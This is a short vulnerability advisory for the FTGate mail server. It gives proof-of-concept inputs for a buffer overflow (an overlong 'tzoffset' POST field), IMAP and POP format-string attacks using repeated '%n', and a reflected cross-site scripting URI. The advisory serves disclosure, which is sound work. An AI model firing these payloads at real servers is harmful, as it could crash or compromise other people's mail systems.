|
Floosietek FTGate Multiple Remote Vulnerabilities
The following proof of concept examples are provided: The buffer overflow vulnerability may be demonstrated with the following POST data to '/index.fts': config=1¶m1=&href=&tzoffset=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&admin=administrator%40example.com&password=test12345 The IMAP format string vulnerabilities may be demonstrated with the following commands: 01 LIST (%25n times 1024) * 02 AUTHENTICATE (%25n times 1024) The POP format string vulnerabilities may be demonstrated with the following commands: USER (%n times 20) PASS (%n times 20) TOP (%n times 20) 1 The cross-site scripting vulnerability may be demonstrated with the following URI: http://www.example.com/index.fts?href="><script>alert('XSS-magic-string');</script> |
|
|
Privacy Statement |
